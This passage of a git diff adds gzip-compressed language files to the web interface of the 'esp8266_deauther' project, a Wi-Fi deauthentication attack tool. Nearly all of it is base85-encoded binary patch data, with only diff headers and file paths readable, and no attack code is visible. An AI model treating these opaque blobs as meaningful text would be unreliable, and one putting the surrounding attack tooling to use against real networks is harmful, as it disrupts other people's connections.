z7oVJE3`S6$zsF-~jN-9FWZXRSrcjNJ6$^TuS@;(-!;}u{WGZ$S;lyKv?c#%WqUnxK z)W(X$-dR(s+%{^pqH-mYd9VPtblRE=GTeoOb7g2whRY*acG6i5X5MNZS$TQy2k@ z09-c5|41c)+{`e!N{zwYDUsWMBO@3DyV4ghxKa$AltrxZA?%PqV;T_o@-yL7jzUD` z;hQJWLZ-{lyz<1NplaltuOkJ@!1C`6)2&ZAJbd`EfPl*WuEUKhBMx$V zcqiBe$u(~06UJ4(Uk&dqzi`?iC4iuWtKNXLh>iEMu6UdS)Un;XcD<3{QiNs%l*Y0; zWb*aELiaeEf!oq&)~1}s;|xyKqL8U_Y_K&n8r3St)F(^SClk4HPGWiPA)=ASj8Ku1`B#I9eWYJ8#Kqr)!q7o41G~!gieI(Y zrQQf^vOpp;E+!crjlod|N2R*}4=Wh2&z`+H6TcRxXU8Y2>3${*b!)?#D}AXi?Byj5 zQh^f3`0TMTvX*zh@^~xrD#;L#-m?EGU16^L-Uk|o`=xX z^7G&_Al*<8S>kDH%EegW6UcK>R~`Xa?lzOa6)f;|k)edND~tukU3tWYgZj|!QYlh0 zMpf zg0PbA) z?It79JQ?jm`b%HlBADJIDSm8V;^<{&2^c*ELoU+xUrD_#fvW752n5t4Dpm0iJdsUm zB%XLQQ9Bt`ssfbWK8Dce?RAz)DtTl|5{>pri#^2bH+x)PH?C61s=Bfz^Q%87y2<}7 z?CDp94XEuo#h#sYUh~P-r#4fG5bB&kg5h_=NMoHKr#*QurxUfN`YkEW@o{yBCT(72 zT}fG>1yLuqbe=6fOYxoHD9k`Hn)+YP28!B_{PxGvAVOHjDGsVrWJ|IlF~|-?#s^|M2=n*nO+-=#N+kDQL&0lPS=!QT|CUHd-t3{9~7*t+PJNpBDP^vKlgk)02Z2FHTtj>fqurkhnVt2p!pSBS$meYxPne zz54wRkEvr>UzW@F@t79AlS`3-Ax5R$JgI%o)JGg z;WM87C}aXog_en+CTBndgs#RJ5sbvekpz-jBP!w0FDw_56uy%W5OM16h~V?P=JCIj z!$QKAuLwiQ9k#<{^I=O224d{k24mHCl1)77g$48=KvPvJdq(cJEKh`~0^<^JEqDMnd03oBI#R-|PBe#RLD)h6+EHJ+mPDIlx{lnZE zd;{08CxY)mfGGOp``%w(J4rF{N$`^hP$S)>=N!YGH9FwA&TFQ) z8zAGizEW@iSJFd-d0&R7e3!(%ogw z_Bw$joj3R*sHjac-C4h<-}i|*7(DKLMNVG;**bgGD0Be^tZid%cQ>zy-YDO1_Ol&B zTm@6-M}!kRy_W4E8eB>28RpM63Zw7n&i=Fpwp|N%OYgcc1iy+R8dGc5YKTvS4JJnn zygE@OzghONQFvnhmCzXQ`Mv;zKbfo;+CHTzvAb+AO$L|AGczI6LB_PQEDa6+p ce}ok3J=Wr)54Rrt^}&Px0LME^a-B2ZjKlIa4Itoay0q_lS;y-0~O!_Tp#o$v3`OzN+rw%uw=XvxaSvGu_qo`_)&i ze}1Fz=b+GbaqyEm$mw7ZpKP?VCO&*OzBqex_N;l68=n>0l;rs3u^~@hox7@<5ApYD zWiwibAs&37RZzwUbz7I}6*)^*)izg`D!ImQ1b)AJu6{qVy;*(zJATzfS= zeyO~{>iPDIQ@$#)C8_rt%2uQnRO)OQM(Tu?1$M8tpDhd5^*lI&>~F8^m3>0C4!5MB zovj@YW*$;IGpq3&OeTbTXN! z9}gdmj*ip~xeeKzf(TlXf$$SYztm)JA!7kkx1U{56u-gVKdpR|hY233p!|L@`$fQx@v^Ts$1GzdX(lyct zouAk2mYkg(Y99s)N-RQhRT79bqJvjA6?RZLP@77k!SQL-L@1Zo4?p;zEg!tpo()7| zsJC$J=lPs$C?Kh}3lVi{m%0eN627>tRmIk0jbA%Llp#b-T(SLB!yw)xy0uEBc#0Vo{5l@}QcLXILWyqa)wgc^pzZ`fO6 zwa=D%4v*@kVF!y8w(_Me*YhYK%AAq+{s{&4r%rVZXLSgb#8FY{oOhm4tqR>d z_n8)XQ~oIryve;hnVuedd89+o@F71O%g1Ifg#bX17Zdm;P*ET{>8*iDqACAu9$fo% zJn!`E6?kXD_wYMRWq)n2hA8XB;Xd52}WmLQVPwv(ByW+zkJ979QsV7S< zZIaL9PJI&>Cj+89ol9U4#oHR`(>M^1ucNvo?_U;34z_4PViT+%pT`JQ3_8vP5x)J; z46)Caj!a_`D|s#13JBvhtYGs!I@s3bEaLar-ohtwpLPoh;`R52QhdbhCb~m)?6zMR zg5g8PA-n`CaR#DaFq$DRyd%%yt_RYd2QPJ%ZOrr0ek0V~?_>3RoNb0rO50a8e;i4ei=ctSdZ8ge?& zb4J6azS=G#=Dk2$6ftVWeqf&hB_BUh?xDmNfhV+8m*AAp%K!7l0E;tjc(?{qj_XX zj*$z}o-J}A`6afrnXAO;1uau(1W1ob*J0VZP<+iX>XwX;5ren3p8@gFI@$gk!AR|Y z(FLApV_%N+n!WT?U^*P@bG@SAGd4f{;>JHDV=Y z&ykB%%!?z$1yg_yRsu)s*n7E1Yf4xEenQUZV)(kUCRC}NZ+MS`=wq7Iiv|2MYB1P^ zYagn$;OXV~;!=I5rk6jTpSSOKuhOGtakFS+=H|MZ&xO*O6T_L3TEMKTLenjMOvUsD zVd57T@_`?b)w6=G9hz-b$}9P#URO+8PS2Vq{u`^tZ>CYYJiA7l%3@O%5EJLbQ6$R%>2WU`1OmC4Z#Plj6J?sk=vkW+%(~ya;i#eFuBUe!O_`=Zk*C5gB zR4G$7_SZ0VUuKW4Vd*54kC()PMDH|N#M?xfadJ-mvb0Sj=VW6r=OKYHw%mSRFjM4o zRX5y&nw1IRSW;x(o8hCw!@smNOSrxrDVaw=wGDAUh$REl@HR~VX_RQnebf-~uR%Sa z!U$~>awm;ZCJo_S87OQnUI%$WVDN#FQ+yLOM?P&o+1xA=YXrqXnuCy15vdyx6xg+E zL}I3}#C*TYMH8E8CkAmQIJOI7f;E93YLILugHVtpV#V9xNAKt}hlzQzxNsNVMtAB4 zIy%rsjAMg&7L#!TU&c(BC1cS?AuSd~95>X87KDAcFY?PhdW@vmEq(iuAUj&Ef^g1Qq=vgWZf+jUXVK)D#6S7+VFK z*iCb%7cp80bZP6~kgyK#EXN&e`RK9NjsP8Ool?e5AD1NvxIH zg2=k)>84&d>w1cCWM|sp0eG)*s|fg<0LPr*&(U{nIu%_zjJj>ha;p1)m=)oBw z5~Jei$w=Ki8Xd+V&-Xf3?CD%Yz@)#`c$hJU-LTWS>x8Du^iE?Qb)eE10^_|JXW;*S zcwQm>{h&!2Xm5I5k=%ip-Y|?$w^Fw`jVC==MgXkGf;-v zw`c+ z>VEmnB-fjbqPAZ<3`O(Wp!a%0E#1js^!#<9|Iyd`I6fSnHrC&}=MuV9b!gP#gQn?> zmT1G$B(2xjJCoEviD!)!-y-?m1B=j>lQ!JAVNW^?9)lL~dWVsDfD;ZFfGo4;_opGA9xHpgZWN+qA*oy z5WJD`ze7^`%5P}a4?{Qq?kt_I&3x|r8>Z){CnwXC4tx|O43EL*_iMC>(|Wt}!Ns#D z!-p7p`|C>mF{<)PF{H+eHve^p0E12uWWA07|X3%%BsKmU1ORyIBt zS>va}aqjryDP4zkYMRMo?WIj|gQm7esAdntv_^@f8%&9$q!1_DU0I!wq6yv6X&Ua; zsTsfjkUE1_pProGQU%hRTbkx}=1%E$FYY85++r{bOH4rI_`*;SHBq(XoCmC;X!JB< z^YD4KUgOZdK6{W>8XL*6B-v|Bd8I~5#hVvc{8j24(LH8}uoTuDsg-3A1~anbuKGf;gO{2d0SON_=FJ%`n@YS$ zNh5rW`XVF+Mq?sATJ zgK+tGX`pg3;Z=NQZYfu&1?x-WnZB!a1vv`UD9&fh0y?PZOMpAPe`1 zF|Y9Ffv0=G>?YQXfa>rE4@p3D55J7;o@Cy#8Y|Xh- aEBeU4*g-;kd+^P_zWFaDbPtE>8~^|WkNfxl literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/en.lang.gz b/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/en.lang.gz new file mode 100755 index 0000000000000000000000000000000000000000..11af3d144f26c96ead25965626f763c55622b280 GIT binary patch literal 2831 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 literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/es.lang.gz b/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/es.lang.gz new file mode 100755 index 0000000000000000000000000000000000000000..e9e9e4dcf914d53a59a3b673aa56c5f2ef787aae GIT binary patch literal 3138 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 literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/fi.lang.gz b/enp8266/esp8266_deauther-master/esp8266_deauther/data/web/lang/fi.lang.gz new file mode 100755 index 0000000000000000000000000000000000000000..d7decc9446094c1ff278531849419ac58fdb794a GIT binary patch literal 2919 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 